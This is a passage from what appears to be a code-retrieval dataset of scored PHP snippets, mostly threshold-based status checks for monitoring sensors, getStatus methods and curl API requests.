$ch = curl_init(\"http://www.websequencediagrams.com/index.php\");\n curl_setopt($ch, CURLOPT_POST, 1);\n curl_setopt($ch, CURLOPT_POSTFIELDS, implode(\"&\", $params));\n curl_setopt( $ch, CURLOPT_HTTPHEADER, array('Expect:') );\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n $response = curl_exec($ch);\n curl_close($ch);\n $json = json_decode($response);\n if(isset($json->img)){\n $json->img = \"http://www.websequencediagrams.com/\".$json->img;\n return json_encode($json);\n }else{\n return $response ;\n }\n\n}", "title": "" }, { "docid": "4571d154d29a7118e08eb0cc83f8196c", "score": "0.415669", "text": "public function img() {\n }", "title": "" }, { "docid": "8612381d96746a0f99629c91cf86d8f9", "score": "0.4152857", "text": "function request($api_token, $host, $path, $url_params = array()) {\n // Send Tripadvisor API Call\n try {\n $curl = curl_init();\n if (FALSE === $curl)\n throw new Exception('Failed to initialize');\n\n $url = $host . $path . \"?\" . http_build_query($url_params);\n curl_setopt_array($curl, array(\n CURLOPT_URL => $url,\n CURLOPT_RETURNTRANSFER => true, // Capture response.\n CURLOPT_ENCODING => \"\", // Accept gzip/deflate/whatever.\n CURLOPT_MAXREDIRS => 10,\n CURLOPT_TIMEOUT => 30,\n CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,\n CURLOPT_CUSTOMREQUEST => \"GET\",\n CURLOPT_HTTPHEADER => array(\n \"X-TripAdvisor-API-Key: \" . $api_token,\n \"cache-control: no-cache\",\n ),\n ));\n\n $response = curl_exec($curl);\n\n if (FALSE === $response)\n throw new Exception(curl_error($curl), curl_errno($curl));\n $http_status = curl_getinfo($curl, CURLINFO_HTTP_CODE);\n if (200 != $http_status)\n throw new Exception($response, $http_status);\n\n curl_close($curl);\n } catch(Exception $e) {\n trigger_error(sprintf(\n 'Curl failed with error #%d: %s',\n $e->getCode(), $e->getMessage()),\n E_USER_ERROR);\n }\n\n return $response;\n}", "title": "" } ]
be7a893679ad1e42340f806a8b220cd1
Gets status based on given value. Note that if the threshold value is NULL or an empty string no assessment will be carried out therefore the OK value will be returned.
[ { "docid": "689137572c84e77c0d62d4aeb7ad7091", "score": "0.7749954", "text": "public function getMatchedThreshold($value) {\n if (method_exists($this, $this->sensorConfig->getThresholdsType())) {\n $status = $this->{$this->sensorConfig->getThresholdsType()}($value);\n if ($status !== NULL) {\n return $status;\n }\n return SensorResultInterface::STATUS_OK;\n }\n else {\n $this->message = SafeMarkup::format('Unknown threshold type @type', array('@type' => $this->sensorConfig->getThresholdsType()));\n return SensorResultInterface::STATUS_CRITICAL;\n }\n }", "title": "" } ]
[ { "docid": "690f06545e63305609ebf6d862446264", "score": "0.695382", "text": "public function getStatus($value);", "title": "" }, { "docid": "3d7d9f9fe1e066f43f449484a3bd155f", "score": "0.6793063", "text": "public function getThresholdValue();", "title": "" }, { "docid": "92b35ff34867c7de2f9cb38cc22884c9", "score": "0.645183", "text": "protected function exceeds($value) {\n if (($threshold = $this->sensorConfig->getThresholdValue('critical')) && $value > $threshold) {\n $this->message = SafeMarkup::format('exceeds @expected', array('@expected' => $threshold));\n return SensorResultInterface::STATUS_CRITICAL;\n }\n if (($threshold = $this->sensorConfig->getThresholdValue('warning')) && $value > $threshold) {\n $this->message = SafeMarkup::format('exceeds @expected', array('@expected' => $threshold));\n return SensorResultInterface::STATUS_WARNING;\n }\n }", "title": "" }, { "docid": "046e840ca78d38038092df4e6c26b7a1", "score": "0.6428163", "text": "protected function falls($value) {\n if (($threshold = $this->sensorConfig->getThresholdValue('critical')) && $value < $threshold) {\n $this->message = SafeMarkup::format('falls below @expected', array('@expected' => $threshold));\n return SensorResultInterface::STATUS_CRITICAL;\n }\n if (($threshold = $this->sensorConfig->getThresholdValue('warning')) && $value < $threshold) {\n $this->message = SafeMarkup::format('falls below @expected', array('@expected' => $threshold));\n return SensorResultInterface::STATUS_WARNING;\n }\n }", "title": "" }, { "docid": "13e36e3723a1662ec731396f9bebbf89", "score": "0.6150615", "text": "public function meetsThreshold($value);", "title": "" }, { "docid": "fbe3d0a2bfb9ac3a3326b1e9ef7afa0a", "score": "0.6029777", "text": "public function getStatus($value){\n return $this->setParameter('status', $value);\n }", "title": "" }, { "docid": "4cdb3a9557a1bd42293183fa04145868", "score": "0.58893293", "text": "public static function getStatusValueLabel($value){\n $labels = self::optsStatus();\n if(isset($labels[$value])){\n return $labels[$value];\n }\n return $value;\n }", "title": "" }, { "docid": "4cdb3a9557a1bd42293183fa04145868", "score": "0.58893293", "text": "public static function getStatusValueLabel($value){\n $labels = self::optsStatus();\n if(isset($labels[$value])){\n return $labels[$value];\n }\n return $value;\n }", "title": "" }, { "docid": "0b992098b820de4daca672e044ed557a", "score": "0.5791396", "text": "protected function getEventStatus($statusValue){\n \tswitch($statusValue){\n \t\tcase 0:\n \t\t\t$status = 'Pending';\n \t\t\tbreak;\n \t\tcase 1:\n \t\t\t$status = 'Confirmed';\n \t\t\tbreak;\n \t\tcase 2:\n \t\t\t$status = 'Cancelled';\n \t\t\tbreak;\n \t\tcase 3:\n \t\t\t$status = 'Deleted';\n \t\t\tbreak;\n \t\tdefault:\n \t\t\t$status = 'Unknow';\n \t}\n \treturn $status;\n }", "title": "" }, { "docid": "2721ba4d832943cfaf4373cd0f904935", "score": "0.5706133", "text": "public function getStatusAttribute($value)\n {\n $status = [\n 1 => 'pending',\n 2 => 'accepted',\n 3 => 'rejected'\n ];\n return $status[intval($value)];\n }", "title": "" }, { "docid": "cb41138ef3f0a93584fe14de2fd65aa4", "score": "0.5661388", "text": "protected function outer_interval($value) {\n if (($low = $this->sensorConfig->getThresholdValue('critical_low')) && ($high = $this->sensorConfig->getThresholdValue('critical_high'))) {\n if ($value < $low || $value > $high) {\n $this->message = SafeMarkup::format('outside the allowed interval @low - @high', array('@low' => $low, '@high' => $high));\n return SensorResultInterface::STATUS_CRITICAL;\n }\n }\n if (($low = $this->sensorConfig->getThresholdValue('warning_low')) && ($high = $this->sensorConfig->getThresholdValue('warning_high'))) {\n if ($value < $low || $value > $high) {\n $this->message = SafeMarkup::format('outside the allowed interval @low - @high', array('@low' => $low, '@high' => $high));\n return SensorResultInterface::STATUS_WARNING;\n }\n }\n }", "title": "" }, { "docid": "aca317fdb921e2204e4ddf6ddaa3707b", "score": "0.56256676", "text": "public function threshold()\n {\n return $this->items['threshold'];\n }", "title": "" }, { "docid": "b169229968f0a4a29028e8f3f533617e", "score": "0.55541986", "text": "protected function inner_interval($value) {\n if (($low = $this->sensorConfig->getThresholdValue('critical_low')) && ($high = $this->sensorConfig->getThresholdValue('critical_high'))) {\n if ($value > $low && $value < $high) {\n $this->message = SafeMarkup::format('violating the interval @low - @high', array('@low' => $low, '@high' => $high));\n return SensorResultInterface::STATUS_CRITICAL;\n }\n }\n if (($low = $this->sensorConfig->getThresholdValue('warning_low')) && ($high = $this->sensorConfig->getThresholdValue('warning_high'))) {\n if ($value > $low && $value < $high) {\n $this->message = SafeMarkup::format('violating the interval @low - @high', array('@low' => $low, '@high' => $high));\n return SensorResultInterface::STATUS_WARNING;\n }\n }\n }", "title": "" }, { "docid": "46a4e1ebf92ef7aa82d7de8ae5311ea3", "score": "0.55332464", "text": "public function getThreshold()\n {\n return $this->threshold;\n }", "title": "" }, { "docid": "fe8afdf2014e4d5326599dc37d7c00ac", "score": "0.55273056", "text": "public static function getStatusValueLabel($value): string\n {\n $labels = self::optsStatus();\n return $labels[$value] ?? $value;\n }", "title": "" }, { "docid": "134fb7e551f438774914a25faf0a7224", "score": "0.55202067", "text": "public function get_Status($val) {\n if (is_numeric($val)) {\n return $this->FLIPPED[$val];\n }\n else {\n return $this->STATUS[$val];\n }\n }", "title": "" }, { "docid": "4dc520a20b08cba7e5efdc918a22dd04", "score": "0.5517266", "text": "public function getStatus()\r\n {\r\n return $this->fields['Status']['value'];\r\n }", "title": "" }, { "docid": "094ef085a0d8fb50bf7ee1e55ea536a0", "score": "0.54281974", "text": "public function getStatus()\n {\n $value = $this->get(self::status);\n return $value === null ? (string)$value : $value;\n }", "title": "" }, { "docid": "2adb7f4fe2cfc8a1f23180d6127a6b5e", "score": "0.5422443", "text": "public function getThreshold(): int\n {\n return $this->threshold;\n }", "title": "" }, { "docid": "e2d8b266cd77630be81aa508dbe79bf2", "score": "0.5417297", "text": "function check_sla_threshold($threshold, $value) {\n $inside = ((substr($threshold, 0, 1) == '@') ? true : false);\n $range = str_replace('@','', $threshold);\n $parts = explode(':', $range);\n\n if (count($parts) > 1) {\n $start = $parts[0];\n $end = $parts[1];\n } else {\n $start = 0;\n $end = $range;\n }\n\n if (substr($start, 0, 1) == \"~\") {\n $start = -999999999;\n }\n if (!is_numeric($end)) {\n $end = 999999999;\n }\n if ($start > $end) {\n return 3;\n }\n if ($inside > 0) {\n if ($start <= $value && $value <= $end) {\n return 1;\n }\n } else {\n if ($value < $start || $end < $value) {\n return 1;\n }\n }\n\n return 0;\n}", "title": "" }, { "docid": "ffe30fd48718c76e5df99b21c8c1a8fb", "score": "0.5407625", "text": "public function getThreshold() {\n\t\treturn $this->threshold;\n\t}", "title": "" }, { "docid": "230de5e2f0a45e1c7167438c85f666c6", "score": "0.53720266", "text": "function getStatus(){\n $this->checkSettings();\n \n // generate request\n $this->request_xml = $this->createStatusRequest();\n\n // post request and get reply\n $this->api_url = $this->getApiUrl();\n $this->reply_xml = $this->xmlPost($this->api_url, $this->request_xml);\n\n // communication error\n if (!$this->reply_xml)\n return false;\n \n // parse xml\n $rootNode = $this->parseXmlResponse($this->reply_xml);\n if (!$rootNode)\n return false;\n\n // return status\n $this->status = $rootNode['ewallet']['status']['VALUE'];\n return $this->status;\n }", "title": "" }, { "docid": "a21f32049396e70d9dbfb46fbe8ba603", "score": "0.5352762", "text": "public function getStatus()\n {\n $value = $this->get(self::STATUS);\n return $value === null ? (integer)$value : $value;\n }", "title": "" }, { "docid": "14cfbea3eeab66dceb4366d2bedb7dc0", "score": "0.5285015", "text": "public static function getStatus()\n {\n if(self::count() > 0 && self::DB()->where('status', '<>', 'ok')->count() == 0)\n return 1;\n\n if(self::DB()->where('status', '=', 'nok')->count() > 0 || Globals::isLastTrick() )\n return -1;\n\n return 0;\n }", "title": "" }, { "docid": "5f690a68846511c813c3a27adba2ca8c", "score": "0.5253052", "text": "public function check($value)\n {\n return $value;\n }", "title": "" }, { "docid": "4ad3313bbcdb9e94aa42e9aff671c807", "score": "0.5236498", "text": "public function getStatus()\n {\n $water = $this->get('water');\n\n foreach (['danger', 'warning', 'alert', 'normal'] as $type) {\n if ($water >= $this->getMeta()[$type]) {\n return $type;\n }\n }\n\n return 'normal';\n }", "title": "" }, { "docid": "63f31fc257b217de1c9dd3b81ac3009d", "score": "0.5228796", "text": "public function getStatus()\n {\n return $this->getValueObject('status');\n }", "title": "" }, { "docid": "75f0e1392adb9c9cb97ca2beeff3edc1", "score": "0.521514", "text": "public function check($value)\n {\n return $value; \n }", "title": "" }, { "docid": "d0709f6f28fb3f0e35e4ba56cf5cc7ee", "score": "0.52039677", "text": "public function getStatusAttribute($value): string\n {\n return array_search($value, Project::STATUS);\n }", "title": "" }, { "docid": "46d5138a744ba236b68b9849c170c831", "score": "0.5201481", "text": "public function getStatus()\n\t{\n\t\tif (empty($this->payload['id'])) {\n\t\t\treturn null;\n\t\t}\n\n\t\t$status = new Status($this->payload['id'], $this->getPrefix());\n\t\treturn $status->get();\n\t}", "title": "" }, { "docid": "e3964da9998f478d96b57dc0077d7329", "score": "0.5197449", "text": "public function getStatus()\n {\n $data = $this->getData();\n\n return (string)$data['status'] ? : null;\n }", "title": "" }, { "docid": "ac6b66cfc623c9b43be1b4dcffba6243", "score": "0.5186851", "text": "function si_get_estimate_status( $id = 0 ) {\n\t\tif ( ! $id ) {\n\t\t\t$id = get_the_ID();\n\t\t}\n\t\t$estimate = SI_Estimate::get_instance( $id );\n\t\tswitch ( $estimate->get_status() ) {\n\t\t\tcase 'draft' :\n\t\t\t\t$status = SI_Estimate::STATUS_REQUEST;\n\t\t\t\tbreak;\n\t\t\tcase SI_Estimate::STATUS_PENDING:\n\t\t\t\t$status = 'pending';\n\t\t\t\tbreak;\n\t\t\tcase SI_Estimate::STATUS_APPROVED:\n\t\t\t\t$status = 'approved';\n\t\t\t\tbreak;\n\n\t\t\tdefault:\n\t\t\t\t$status = $estimate->get_status();\n\t\t\t\tbreak;\n\t\t}\n\t\treturn apply_filters( 'si_get_estimate_status', $status, $estimate );\n\t}", "title": "" }, { "docid": "839ecbc1ec9f3afb7da8224bb98e2ce5", "score": "0.5169438", "text": "public function getLevel($value, array $options): string\n {\n if ($value instanceof RequestException) {\n return $this->defaultLevel;\n }\n\n if ($value instanceof \\Throwable) {\n return $this->exceptionLevel;\n }\n\n if ($value instanceof TransferStats) {\n return $this->statsLevel;\n }\n\n return $this->defaultLevel;\n }", "title": "" }, { "docid": "c775b2c3acc6661967a74a625e11d2e4", "score": "0.5160903", "text": "function parseStatus($val, $min_err, $min_war, $max_war, $max_err) {\n\t\n\tif($val < $min_err) return 20;\t\t// error\n\telseif($val < $min_war) return 10;\t// warning\n\t\n\tif($val > $max_err) return 20;\t\t// error\n\telseif($val > $max_war) return 10;\t// warning\n\t\n\treturn 0; // OK\n}", "title": "" }, { "docid": "4077ce53849bd573ba79bfda0ebda704", "score": "0.51593333", "text": "public function getStatus()\n {\n $list = self::statusList();\n\n return isset($list[$this->status]) ? $list[$this->status] : null;\n }", "title": "" }, { "docid": "f601fb4810896ab44bd5777430e8c0d1", "score": "0.51479995", "text": "public function getStatus();", "title": "" }, { "docid": "f601fb4810896ab44bd5777430e8c0d1", "score": "0.51479995", "text": "public function getStatus();", "title": "" }, { "docid": "f601fb4810896ab44bd5777430e8c0d1", "score": "0.51479995", "text": "public function getStatus();", "title": "" }, { "docid": "f601fb4810896ab44bd5777430e8c0d1", "score": "0.51479995", "text": "public function getStatus();", "title": "" }, { "docid": "f601fb4810896ab44bd5777430e8c0d1", "score": "0.51479995", "text": "public function getStatus();", "title": "" }, { "docid": "f601fb4810896ab44bd5777430e8c0d1", "score": "0.51479995", "text": "public function getStatus();", "title": "" }, { "docid": "f601fb4810896ab44bd5777430e8c0d1", "score": "0.51479995", "text": "public function getStatus();", "title": "" }, { "docid": "f601fb4810896ab44bd5777430e8c0d1", "score": "0.51479995", "text": "public function getStatus();", "title": "" }, { "docid": "f601fb4810896ab44bd5777430e8c0d1", "score": "0.51479995", "text": "public function getStatus();", "title": "" }, { "docid": "f601fb4810896ab44bd5777430e8c0d1", "score": "0.51479995", "text": "public function getStatus();", "title": "" }, { "docid": "f601fb4810896ab44bd5777430e8c0d1", "score": "0.51479995", "text": "public function getStatus();", "title": "" }, { "docid": "f601fb4810896ab44bd5777430e8c0d1", "score": "0.51479995", "text": "public function getStatus();", "title": "" }, { "docid": "f601fb4810896ab44bd5777430e8c0d1", "score": "0.51479995", "text": "public function getStatus();", "title": "" }, { "docid": "f601fb4810896ab44bd5777430e8c0d1", "score": "0.51479995", "text": "public function getStatus();", "title": "" }, { "docid": "f601fb4810896ab44bd5777430e8c0d1", "score": "0.51479995", "text": "public function getStatus();", "title": "" }, { "docid": "f601fb4810896ab44bd5777430e8c0d1", "score": "0.51479995", "text": "public function getStatus();", "title": "" }, { "docid": "c74977941690d2580e36d8197290afdf", "score": "0.51380444", "text": "public function get_status() {\n\t\t// If a status is already set\n\t\tif ( isset($this->response->status) && !is_null($this->response->status) ) {\n\t\t\treturn $this->response->status;\n\t\t}\n\t\t// If the status code has a corresponding message in our config\n\t\telseif ( array_key_exists($this->response->code(), $this->config['rest']['status_codes']) ) {\n\t\t\treturn $this->config['rest']['status_codes'][$this->response->code()];\n\t\t}\n\t\t// If there's a default\n\t\telseif ( isset($this->config['rest']['defaults']['status']) ) {\n\t\t\treturn $this->config['rest']['defaults']['status'];\n\t\t}\n\t\telse {\n\t\t\treturn 'NULL';\n\t\t}\n\t}", "title": "" }, { "docid": "87ca45232c00739789e6d728097a908f", "score": "0.5134727", "text": "public function getStatus() {\n\t\treturn $this->makeRequest('get_status');\n\t}", "title": "" }, { "docid": "09e92ce37dc5c6ab7a80ea16c94fc47f", "score": "0.5115331", "text": "public function getStatus()\n\t{\n\t\tif(!isset($this->status) || $this->status === null)\n\t\t{\n\t\t\t$this->status = $this->getXml()->getElementsByTagName('Status')->item(0)->nodeValue;\n\t\t}\n\t\treturn $this->status;\n\t}", "title": "" }, { "docid": "09e92ce37dc5c6ab7a80ea16c94fc47f", "score": "0.5115331", "text": "public function getStatus()\n\t{\n\t\tif(!isset($this->status) || $this->status === null)\n\t\t{\n\t\t\t$this->status = $this->getXml()->getElementsByTagName('Status')->item(0)->nodeValue;\n\t\t}\n\t\treturn $this->status;\n\t}", "title": "" }, { "docid": "69912dace94041a87459862964beaba6", "score": "0.5114356", "text": "private function getStatus()\n {\n // what will be the status ?\n // go pick what is the default status upon creating experiment\n // there should be only one because upon making a status default,\n // all the others are made not default\n $sql = 'SELECT id FROM status WHERE is_default = true AND team = :team LIMIT 1';\n $req = $this->pdo->prepare($sql);\n $req->bindParam(':team', $_SESSION['team_id']);\n $req->execute();\n $status = $req->fetchColumn();\n\n // if there is no is_default status\n // we take the first status that come\n if (!$status) {\n $sql = 'SELECT id FROM status WHERE team = :team LIMIT 1';\n $req = $this->pdo->prepare($sql);\n $req->bindParam(':team', $_SESSION['team_id']);\n $req->execute();\n $status = $req->fetchColumn();\n }\n return $status;\n }", "title": "" }, { "docid": "42fca174735d6666e55a9f9efcc81409", "score": "0.5092458", "text": "function _get_friendly_status($status = 0)\n{\n\tglobal $lang;\n\n\t$lang->load(\"mysupport\");\n\n\t$status = intval($status);\n\tswitch($status)\n\t{\n\t\t// has it been marked as not techincal?\n\t\tcase 4:\n\t\t\t$friendlystatus = $lang->not_technical;\n\t\t\tbreak;\n\t\t// is it a technical thread?\n\t\tcase 2:\n\t\t\t$friendlystatus = $lang->technical;\n\t\t\tbreak;\n\t\t// no, is it a solved thread?\n\t\tcase 3:\n\t\tcase 1:\n\t\t\t$friendlystatus = $lang->solved;\n\t\t\tbreak;\n\t\t// must be not solved then\n\t\tdefault:\n\t\t\t$friendlystatus = $lang->not_solved;\n\t}\n\n\treturn $friendlystatus;\n}", "title": "" }, { "docid": "bd0502f130a7662f3af4fade53f73edf", "score": "0.5088188", "text": "public function GetStatus () \r\n\t{\r\n\t\treturn ($Status);\r\n\t}", "title": "" }, { "docid": "c9a92ec44064766b5fc6a8fa68d17796", "score": "0.50809366", "text": "public function getCheckThreshold()\n {\n return $this->checkThreshold;\n }", "title": "" }, { "docid": "c1b862db11f3caac45d822dd39a7b02f", "score": "0.507733", "text": "function getDetailedStatus() ;", "title": "" }, { "docid": "e7d32a8d60718835467efa065c707997", "score": "0.5058778", "text": "static function getStatusConstant($statusCode) {\r\r\n\t\tif($statusCode == null) {\r\r\n\t\t\treturn -1;\r\r\n\t\t} else {\r\r\n\t\t\t$statusConstant = intval($statusCode);\r\r\n\t\t\t\r\r\n\t\t\t\r\r\n\t\t\tif($statusConstant == 93 ) {\r\r\n\t\t\t\treturn TelekomStatusConstants::PERMISSIONS_MISSING;\r\r\n\t\t\t}\r\r\n\t\t\t\r\r\n\t\t\tif($statusConstant == TelekomStatusConstants::SUCCESS) {\r\r\n\t\t\t\treturn $statusConstant;\r\r\n\t\t\t}\r\r\n\t\t\t\r\r\n\t\t\tif($statusConstant == TelekomStatusConstants::INTERNAL_ERROR) {\r\r\n\t\t\t\treturn $statusConstant;\r\r\n\t\t\t}\r\r\n\t\t\t\r\r\n\t\t\tif($statusConstant == TelekomStatusConstants::ENVIRONMENT_INVALID) {\r\r\n\t\t\t\treturn $statusConstant;\r\r\n\t\t\t}\r\r\n\t\t\t\r\r\n\t\t\tif($statusConstant == TelekomStatusConstants::PERMISSIONS_MISSING) {\r\r\n\t\t\t\treturn $statusConstant;\r\r\n\t\t\t}\r\r\n\t\t\t\r\r\n\t\t\tif($statusConstant == TelekomStatusConstants::ACCEPT_HEADER_UNKNOWN) {\r\r\n\t\t\t\treturn $statusConstant;\r\r\n\t\t\t}\r\r\n\t\t\t\r\r\n\t\t\tif($statusConstant == TelekomStatusConstants::QUOTAS_EXCEEDED) {\r\r\n\t\t\t\treturn $statusConstant;\r\r\n\t\t\t}\r\r\n\t\t\t\r\r\n\t\t\tif($statusConstant == TelekomStatusConstants::TOKEN_EXPIRED) {\r\r\n\t\t\t\treturn $statusConstant;\r\r\n\t\t\t}\r\r\n\t\t\t\r\r\n\t\t\tif($statusConstant == TelekomStatusConstants::ACCOUNT_MISMATCH) {\r\r\n\t\t\t\treturn $statusConstant;\r\r\n\t\t\t}\r\r\n\t\t\t\r\r\n\t\t\tif($statusConstant == TelekomStatusConstants::INSUFFICIENT_CREDITS) {\r\r\n\t\t\t\treturn $statusConstant;\r\r\n\t\t\t}\r\r\n\t\t\t\r\r\n\t\t\tif($statusConstant == TelekomStatusConstants::TOKEN_INVALID) {\r\r\n\t\t\t\treturn $statusConstant;\r\r\n\t\t\t}\r\r\n\t\t\t\r\r\n\t\t\treturn ConferenceCallClient::SERVICE_NUMBER * 10000 + $statusConstant;\r\r\n\t\t}\r\r\n\t}", "title": "" }, { "docid": "0cde047b120b9549923c8e1677d0b4d0", "score": "0.5053057", "text": "public function getStatus()\n {\n return isset($this->status) ? $this->status : 0;\n }", "title": "" }, { "docid": "7261955ae03ac16727eb541659e9701f", "score": "0.50281435", "text": "public function getStatus( $key='', $value='' ){\n $where = '';\n if( !empty( $key ) && !empty( $value ) ){\n $where = 'WHERE '.$key.' = \\''.$value.'\\'';\n }\n $sql = \"SELECT * FROM status \" . $where;\n\n $query = $this->db->prepare($sql);\n $query->execute();\n\n return $query->fetchAll();\n }", "title": "" }, { "docid": "23ecf2c84a0859b208a3656f4a19dda6", "score": "0.5026003", "text": "public function getStatus()\n {\n return $this->getEntityValue('status', '');\n }", "title": "" }, { "docid": "17690c1f22fcaf9814d349696499c7e5", "score": "0.50225633", "text": "public function get_readability_threshold() {\n\t\t$threshold_flesch = 5.0;\n\t\t$threshold_kincaid = 60.0;\n\n\t\treturn Smartcrawl_String::READABILITY_FLESCH === Smartcrawl_String::get_readability_strategy()\n\t\t\t? $threshold_flesch\n\t\t\t: $threshold_kincaid;\n\t}", "title": "" }, { "docid": "b052bdc44c313205a03fe81789f30029", "score": "0.50127804", "text": "public function getStatus() {\n return $this->readAttributeValue('status');\n }", "title": "" }, { "docid": "912a454f8618be8c1c4ef752938b831d", "score": "0.5012551", "text": "public function getSeverity() : int {}", "title": "" }, { "docid": "8dcaf0e1a1adfa03ef46efc13c4fa954", "score": "0.50063795", "text": "public function get_threshold($job_id) {\r\n $row = $this->db->select('threshold_price')->from('consignments as C')->where('C.consignment_id', $job_id)->get()->row();\r\n if ($row) {\r\n return $row->threshold_price;\r\n }\r\n return -1;\r\n }", "title": "" }, { "docid": "b14c6ef554476429aa4053991e1c0c24", "score": "0.50046355", "text": "public function getStatus() {\n return (string)$this->data['status'];\n }", "title": "" }, { "docid": "6cbe5732d34f5a2b1c7cc18bc9747867", "score": "0.5001849", "text": "function getStatus() ;", "title": "" }, { "docid": "51e679f3d7c362c76689794f4f6d9030", "score": "0.49850565", "text": "public function getStatus() : Status;", "title": "" }, { "docid": "494753746259a1655fe99e03da1c145e", "score": "0.49838653", "text": "public function getStatusLabel();", "title": "" }, { "docid": "49bf92f3b8e4a823dab8f58fce0e4450", "score": "0.49773636", "text": "function statusMessage($value)\n {\n // make the variable static so that it only has to do the defining on the first call\n static $statusMessages;\n\n // define the varies error messages\n if (!isset($statusMessages)) {\n $statusMessages = array(\n LIVEUSER_STATUS_IDLED => 'Maximum idle time is reached',\n LIVEUSER_STATUS_EXPIRED => 'User session has expired',\n LIVEUSER_STATUS_ISINACTIVE => 'User is set to inactive',\n LIVEUSER_STATUS_PERMINITERROR => 'Cannot instantiate permission container',\n LIVEUSER_STATUS_AUTHINITERROR => 'Cannot instantiate authentication configuration',\n LIVEUSER_STATUS_AUTHNOTFOUND => 'Cannot retrieve Auth object from session',\n LIVEUSER_STATUS_UNKNOWN => 'Something went wrong in whatever you were trying to do',\n LIVEUSER_STATUS_LOGGEDOUT => 'User was logged out correctly',\n LIVEUSER_STATUS_AUTHFAILED => 'No auth container authenticated successfully',\n );\n }\n\n // return the textual error message corresponding to the code\n return isset($statusMessages[$value]) ? $statusMessages[$value] : $statusMessages[LIVEUSER_STATUS_UNKNOWN];\n }", "title": "" }, { "docid": "59ea3417f80db4257ffefbab44a835cd", "score": "0.49718434", "text": "public function getStatus(): Status;", "title": "" }, { "docid": "59ea3417f80db4257ffefbab44a835cd", "score": "0.49718434", "text": "public function getStatus(): Status;", "title": "" }, { "docid": "6fe434e15f3bb993ed6c07237bdfc48a", "score": "0.4960725", "text": "public function get_status(){\n\t\treturn (int) $this->v_status;\n\t}", "title": "" }, { "docid": "b9be382661e267e816a7656fa10d715e", "score": "0.49531004", "text": "public function getStatus()\n\t{\n\t\treturn $this->getKeyValue('status'); \n\n\t}", "title": "" }, { "docid": "5cf7bf7d82fa08c8e7c0724edac1621e", "score": "0.4942294", "text": "public function getStatus($key)\n {\n\n if (isset(EHttpStatus::$codes[$key]))\n return EHttpStatus::$codes[$key];\n else\n return EHttpStatus::$codes[500];\n\n }", "title": "" }, { "docid": "1522610ffff4c4f4e30bd7ec9dca8844", "score": "0.49352416", "text": "public function get_status() {\n\n\t\treturn $this->get_job_attr( 'status' );\n\t}", "title": "" }, { "docid": "9c44e29b58aaa936ec37385a0a20f257", "score": "0.4934359", "text": "function apihealth($status){\n if($sql >= 300) {\n echo \"#F44336\";\n }\n elseif ($status >= 201) {\n echo \"#EF6C00\";\n }\n elseif ($status >= 101) {\n echo \"#FFEB3B\";\n }\n elseif ($status >= 51) {\n echo \"#8BC34A\";\n }\n elseif ($status >= 1) {\n echo \"#1976D2\";\n }\n else {\n echo \"#9E9E9E\";\n }\n}", "title": "" }, { "docid": "80c92141f00f8eaaaf1d6f68e3a8e3bf", "score": "0.49280688", "text": "public function getSeverity();", "title": "" }, { "docid": "106845713cbafda6f8a9ddf7b596dcbc", "score": "0.49266702", "text": "function get_status(){\n\t\t\treturn $this->status;\n\t\t}", "title": "" }, { "docid": "9d38c7869f4dd29089293d29e572c6a3", "score": "0.49223748", "text": "public function getStatus()\n {\n return isset($this->status) ? $this->status : null;\n }", "title": "" }, { "docid": "33a69fc2d7b73e527cabf35d33f8407c", "score": "0.4921831", "text": "function ReturnStatus($number){\n switch ($number) {\n case 0:\n return 'New';\n break;\n case 1:\n return 'Current';\n break;\n case 2:\n return 'Final';\n break;\n default:\n return 'Unknown';\n break;\n }\n }", "title": "" }, { "docid": "3830eaab412194073a1d7488fe4b585e", "score": "0.491924", "text": "public function getStatusMessage();", "title": "" }, { "docid": "346a3f947cba1083cb036a222ff86841", "score": "0.49064907", "text": "public function getStatus()\r\n\t{\r\n\t\treturn $this->status;\r\n\t}", "title": "" }, { "docid": "cb16296348c1fff95631848c257fd987", "score": "0.49014753", "text": "public function requestCapture($value)\r\n\t{\r\n\t\t$msg = $this->_getXMLHeader() . \"\\n\";\r\n\t\t$msg .= '<requisicao-captura id=\"' . md5(date(\"YmdHisu\")) . '\" versao=\"' . self::VERSION . '\">' . \"\\n \";\r\n\t\t$msg .= '<tid>' . $this->tid . '</tid>' . \"\\n \";\r\n\t\t$msg .= $this->_getXMLCieloData() . \"\\n \";\r\n\t\t$msg .= '<valor>' . $value . '</valor>' . \"\\n \";\r\n\t\t$msg .= '</requisicao-captura>';\r\n\t\t\r\n\t\t$maxAttempts = 3;\r\n\t\t\r\n\t\twhile($maxAttempts > 0)\r\n\t\t{\t\r\n\t\t\tif($this->_sendRequest(\"mensagem=\" . $msg, \"Captura\"))\r\n\t\t\t{\r\n\t\t\t\tif($this->_hasConsultationError())\r\n\t\t\t\t{\r\n\t\t\t\t\tMage::log($this->_transactionError);\r\n\t\t\t\t\treturn false;\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t$xml = simplexml_load_string($this->_xmlResponse);\r\n\t\t\t\t$this->status = (string) $xml->status;\r\n\t\t\t\t\r\n\t\t\t\treturn $this->status;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t$maxAttempts--;\r\n\t\t}\r\n\t\t\r\n\t\tif($maxAttempts == 0)\r\n\t\t{\r\n\t\t\tMage::log(\"[CIELO] Não conseguiu consultar o servidor.\");\r\n\t\t}\r\n\t\t\r\n\t\treturn false;\r\n\t}", "title": "" }, { "docid": "ec76edab020da1faba690a033db0c6bc", "score": "0.48962188", "text": "public function getStatus()\n\t{\n\t\treturn $this->status; \n\n\t}", "title": "" }, { "docid": "4098014aa5f7549bf0119f1738539125", "score": "0.48919976", "text": "public function getStatus()\n {\n return $this->get(self::_STATUS);\n }", "title": "" }, { "docid": "4098014aa5f7549bf0119f1738539125", "score": "0.48919976", "text": "public function getStatus()\n {\n return $this->get(self::_STATUS);\n }", "title": "" }, { "docid": "9b7b0c596aef7128ca81dcac2dc3f1cd", "score": "0.48903874", "text": "public function get_status(){\n\t\t\treturn $this->status;\n\t\t}", "title": "" }, { "docid": "63740c9de6383723915e4257b8d28874", "score": "0.48873395", "text": "public function getSeverity() {}", "title": "" }, { "docid": "13fc209761e66aed3424d4335ce0c1e3", "score": "0.48856872", "text": "public function get_status() {\r\n return $this->status;\r\n }", "title": "" }, { "docid": "44b423fc7b4813b5417f05ba19764d12", "score": "0.48847407", "text": "public function getStatusAsString()\n {\n $list = self::getStatusList();\n if (isset($list[$this->status]))\n return $list[$this->status];\n \n return 'Unknown';\n }", "title": "" }, { "docid": "44b423fc7b4813b5417f05ba19764d12", "score": "0.48847407", "text": "public function 